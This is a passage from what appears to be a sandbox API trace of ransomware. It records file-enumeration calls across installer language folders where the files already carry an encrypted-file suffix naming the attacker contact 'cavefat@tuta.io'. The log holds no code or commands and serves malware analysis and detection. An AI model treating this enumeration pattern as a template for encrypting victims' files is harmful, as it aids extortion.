ftCreationTime.dwLowDateTime=0xa3027d3a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3027d3a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa304df85, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.450] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3027d3a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3027d3a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa304df85, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.450] FindClose (in: hFindFile=0x573668 | out: hFindFile=0x573668) returned 1 [0224.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.451] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0224.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.451] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573528 [0224.453] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.453] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa355f02e, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa355f02e, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3585148, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.453] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3585148, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3585148, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3585148, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.453] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa304df85, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa304df85, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33e185d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.453] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa304df85, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa304df85, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33e185d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.453] FindClose (in: hFindFile=0x573528 | out: hFindFile=0x573528) returned 1 [0224.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.453] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0224.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.454] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573468 [0224.455] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.455] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3585148, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3585148, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38c7842, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.455] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa361dbe4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa361dbe4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa361dbe4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.455] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30c0705, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30c0705, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30c0705, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.455] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30c0705, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30c0705, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30c0705, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.455] FindClose (in: hFindFile=0x573468 | out: hFindFile=0x573468) returned 1 [0224.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.456] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0224.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.456] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573468 [0224.457] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.457] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa36453f5, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa36453f5, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa36453f5, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.457] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa394acbf, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa394acbf, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3d2acc6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.457] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30e69a9, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30e69a9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30e69a9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.457] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30e69a9, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30e69a9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30e69a9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.457] FindClose (in: hFindFile=0x573468 | out: hFindFile=0x573468) returned 1 [0224.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.458] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0224.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.458] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573868 [0224.459] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.459] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3702b45, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3702b45, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3702b45, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.459] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3702b45, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3702b45, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3702b45, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.459] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30e69a9, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30e69a9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30e69a9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.459] FindNextFileW (in: hFindFile=0x573868, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa30e69a9, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa30e69a9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30e69a9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.459] FindClose (in: hFindFile=0x573868 | out: hFindFile=0x573868) returned 1 [0224.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.460] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0224.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.460] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573168 [0224.461] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.461] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3728c15, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3728c15, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3728c15, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.462] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3728c15, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3728c15, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3cb84e7, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.462] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa310cbd6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa310cbd6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34a0371, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.462] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa310cbd6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa310cbd6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34a0371, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.462] FindClose (in: hFindFile=0x573168 | out: hFindFile=0x573168) returned 1 [0224.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.462] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0224.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.462] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573528 [0224.464] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.464] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3808c2a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3808c2a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa382ef79, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARAME~1.HCK")) returned 1 [0224.464] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa382ef79, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa382ef79, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa382ef79, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="UIINFO~1.HCK")) returned 1 [0224.464] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa382ef79, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa382ef79, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa382ef79, 